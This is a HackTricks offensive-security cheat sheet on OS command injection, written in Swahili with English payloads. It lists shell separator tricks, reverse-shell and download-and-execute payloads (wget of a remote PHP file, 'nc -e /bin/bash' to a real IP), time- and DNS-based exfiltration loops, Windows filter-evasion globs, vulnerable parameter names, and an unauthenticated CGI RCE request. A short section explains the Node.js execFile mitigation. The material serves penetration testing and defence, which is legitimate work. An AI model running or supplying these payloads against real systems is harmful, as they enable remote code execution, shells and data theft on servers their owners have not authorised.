Command Injection

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Je, command Injection ni nini?

A command injection inaruhusu utekelezaji wa amri yoyote za operating system na attacker kwenye server inayohifadhi application. Kwa matokeo, application na data yake yote zinaweza kuchukuliwa kabisa. Utekelezaji wa hizi commands kawaida humruhusu attacker kupata ufikiaji usioruhusiwa au udhibiti wa environment ya application na system inayokua chini yake.

Muktadha

Kutegemea mahali ambako input yako inaingizwa unaweza kuhitaji kumaliza muktadha uliomo ndani ya nukuu (kutumia " au ') kabla ya commands.

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limition Bypasses

Ikiwa unajaribu kutekeleza amri yoyote ndani ya mashine ya linux utapenda kusoma kuhusu Bypasses:

Bypass Linux Restrictions

Mifano

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Vigezo

Hapa kuna vigezo 25 bora vinavyoweza kuwa hatarini kwa code injection na udhaifu mwingine wa RCE (kutoka kwa link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Kuchukua data: herufi kwa herufi

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Inategemea zana kutoka kwa https://github.com/HoLyVieR/dnsbin, pia inapatikana kwenye dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Zana mtandaoni za kuangalia DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Kuepuka vichujio

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Unapofanya ukaguzi wa back-end za JavaScript/TypeScript, mara nyingi utakutana na Node.js child_process API.

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() inazindua shell (/bin/sh -c), hivyo alama yoyote yenye maana maalum kwa shell (back-ticks, ;, &&, |, $(), …) itasababisha command injection wakati ingizo la mtumiaji linapounganishwa kwenye string.

Mitigation: tumia execFile() (au spawn() bila chaguo la shell) na toa kila argument kama kipengele tofauti cha array ili hakuna shell ihusike:

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 ilitumiwa kupitia tukio la WebSocket lisilo na uthibitisho ambalo liliweka data inayodhibitiwa na mshambuliaji ndani ya id_user ambayo baadaye iliingizwa katika wito wa exec(), ikiwaleta RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Sio injection zote zinahitaji meta-herufi za shell. Ikiwa programu inapitisha nadharia zisizotegemewa kama hoja kwa utility ya mfumo (hata kwa kutumia execve/execFile na bila shell), programu nyingi bado zitatafsiri hoja yoyote inaanza na - au -- kuwa chaguo. Hii inamwezesha mshambuliaji kubadili mode, kubadilisha njia za pato, au kusababisha tabia hatarishi bila hata kuingia kwenye shell.

Mahali pa kawaida ambapo hili huonekana:

  • Embedded web UIs/CGI handlers zinazojenga amri kama ping <user>, tcpdump -i <iface> -w <file>, curl <url>, n.k.
  • Centralized CGI routers (mfano, /cgi-bin/<something>.cgi na parameter ya selector kama topicurl=<handler>) ambapo handlers nyingi zinatumia validator dhaifu ile ile.

Nini cha kujaribu:

  • Toa thamani zinazotangulia na -/-- zitakazotumiwa kama flags na chombo kinachofuata.
  • Tumia vibaya flags zinazobadilisha tabia au kuandika faili, kwa mfano:
  • ping: -f/-c 100000 kustresha kifaa (DoS)
  • curl: -o /tmp/x kuandika njia yoyote, -K <url> kupakia config inayodhibitiwa na mshambuliaji
  • tcpdump: -G 1 -W 1 -z /path/script.sh kupata post-rotate execution katika wrappers zisizo salama
  • Ikiwa programu inaunga mkono -- end-of-options, jaribu kuizidi mitigations za kawaida ambazo zinaweka -- mahali pasipofaa.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Orodha ya Ugundaji wa Brute-Force

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks